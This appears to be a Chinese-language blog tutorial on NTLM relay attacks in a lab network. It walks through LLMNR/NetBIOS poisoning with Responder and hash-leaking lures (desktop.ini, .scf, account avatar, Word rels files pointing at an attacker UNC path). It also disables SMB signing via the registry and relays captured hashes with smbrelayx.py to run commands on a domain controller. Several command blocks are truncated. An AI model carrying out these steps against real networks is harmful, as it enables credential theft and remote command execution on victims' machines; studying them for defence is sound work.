一、前置知识
Net NTLM Hash:
Net-NTLM Hash 与 NTLM Hash 不一样。NTLM 认证的第三步中,客户端收到服务端返回的 TYPE 2 消息后, 会读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的服务器端密码的 NTLM-Hash 对其进行加密,并与用户名、Challenge 等一起组合得到 Net-NTLM Hash,Net-NTLM Hash不能像NTLM Hash一样被Pass The Hash,但是可以对其进行捕获,从而爆破或者中继攻击
SSP & SSPI:
SSPI(Security Support Provider Interface) 安全支持提供者接口, 是 Windows 操作系统中用于执行各种安全相关操作(如身份验证)的一个Win32 API。
SSP(Security Support Provider)Windows 身份验证协议Microsoft 安全支持提供程序接口,是 Windows 身份验证的基础。 要求身份验证的应用程序和基础结构服务会使用 SSPI ,使用的协议就是以下 SSP 安全协议。
简单的来说,SSP 是一套认证协议,用于实现身份认证等安全功能的身份验证,NTLM SSP 实现的就是一种 Challenge/Response 验证机制
Relay介绍:
NTLM Realy严格来说应该叫做Net NTLM Realy,因为其原理是捕获NTLM认证中第三步Response字段的值,从而进行重放攻击,所以NTLM Realy共分为两步
1 | 1、捕获Net-NTLM Hash |
那么如何才能捕获Net-NTLM Hash呢?思路是让受害者通过SMB、HTTP、LDAP、MSSQL等协议来进行NTLM认证,从而把Net-NTLM Hash发送给攻击者,常见的攻击方式有:
- 网络协议的欺骗与劫持
- 钓鱼攻击
- 与其他漏洞结合
环境:
1 | Kali(攻击机):192.168.52.188 |
二、捕获Net-NTLM Hash
Netbios && LLMNR:
Netbios:为网上基本输入输出系统,严格来说,NetBIOS不是一种网上协议,而是应用程序接口(API),可以在局域网中,互相连线,以及分享数据,通过UDP/137端口进行通信,系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。NetBIOS 协议进行名称解析的过程如下:
1 | 1、检查本地 NetBIOS 缓存 |
LLMNR:为链路本地多播名称解析,是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析,监听的端口为UDP/535,当主机访问另外一台主机时,如果只知道对方的主机名,则会向局域网内多播请求,询问该主机名对应的ip地址,然后收到该请求的主机首先会判断自己的主机名是否是这个,如果是的话,则会回复一个ip地址,如果主机名不符合,则丢弃。LLMNR协议就类似于ARP协议。
简单点来说,以上两种都是微软为工作组和域设计的名称解析协议,主要用于局域网中的名称解析,当Dns查询失败时,系统就会使用 NetBIOS 和 LLMNR 进行本地主机解析,Windows系统的名称解析顺序如下:
1 | 1、本地hosts文件(%windir%\System32\drivers\etc\hosts) |
因此,只要用户输入一个不存在的名称或地址,由于本地Host文件和Dns服务器都不能正常解析,Windows就会通过利用LLMNR和 NetBIOS名称服务进行查找,而此时黑客在局域网内有一台主机权限,就可以伪装成受害主机想要访问的机器,从而让受害主机交出相应的登陆凭证
- 第一步首先使用Kali捕获流量:
1 | responder -I eth0 -rPv |
- 使用Win7去发送一个SMB请求
1 | \\abcdefg |
- 之后就可以捕捉到Client上用户的Hash
图标:
desktop.ini
在每一个文件夹下面都会默认存放一个隐藏的desktop.ini文件,作用是指定文件夹的图标之类,修改文件夹属性中的隐藏受保护的操作系统文件,就可以看到desktop.ini文件
或者使用Everything工具也可
双击desktop.ini,对其进行编辑
修改IconResource的值为攻击者的UNC路径
接下来进行流量监听,只要有人访问了这个文件夹,就会把NTLM Hash发送给对方
用户头像
此功能适用于Windows10/11 和 Windows Server 2016/2019,在更改账户图片处,输入指定的UNC路径即可把NTLM Hash发送给对方
注:如果是在域内,普通用户验证成功后,System也会跟着访问,可以用来提权
scf文件
scf文件和desktop.ini类型相似,因为scf文件包含了IconFile属性,所以可以在一个文件夹下面新建一个这样的文件,文件内容如下:
1 | [Shell] |
这时用户点击这个文件,就会去请求UNC路径,并发送NTLM Hash,这里不做演示
Office:
和Office钓鱼相像,新建一个Word文档,插入一张图片保存,然后使用zip打开
进入word -> _rels文件夹,打开document.xml.rels文件
Target代表本地文件路径,修改其为指定的UNC路径,再添加TargetMode=”External”
保存后,只有有人打开Word,就会将NTLM Hash发送给对方
其他:
除此之外还有很多方法,这里不做阐述了
三、重放Net-NTLM Hash
在获取到目标主机的NTLM Hash之后,有两种攻击方法,分别是:
1 | 1. 使用Hashcat等工具破解出Hash明文 |
当获取到的Hash是NTLM V1那么可以直接使用第一种方法,如果是V2的话就可以尝试NTLM Relay攻击,Relay攻击又分为两种清空,分别是:
1 | 1.工作组环境 |
在工作组环境中,由于各个主机之间没有信任关系,所以只能是两台主机密码相同的情况下进行Relay攻击,但是两台主机密码一样,为什么不直接PTH呢?所以比较鸡肋,下面也不做讲述,而在域环境下,账号密码都保存在ntds.dit上,如果没有做限制,那么默认普通域用户可以Relay到域内其他机器上,除了域控。
Relay To SMB:
Relay To SMB也可以叫SMB Relay,这是因为NTLM只是底层协议,传输时只能依赖上层协议,如果上层协议为SMB就是SMB Relay,是HTTP就是HTTP Relay,直接Relay到SMB服务器,就可以直接控制服务器执行任何操作
- 首先使用Responder.conf关闭HTTP和SMB服务器,因为如果开启了smb Signing就无法进行攻击
1 | sudo vim /usr/share/responder/Responder.conf |
- 检查目标主机是否开启了smb签名
1 | nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.0.1/24 |
- 如果开启了可以在注册表中进行修改子健为0,默认为1
1 | reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f |
- 在kali上对DC执行命令:
1 | python3 smbrelayx.py -h 192.168.52.138 -c whoami |
- 在Win7(被控主机)访问一个不存在的主机
1 | \\abcdefg |
- 当被控主机访问一个不存在的主机时,就会触发LLMNR协议,攻击者捕获到其NTLM Hash,然后再把这段Hash重放到DC,一旦成功,即可执行任意命令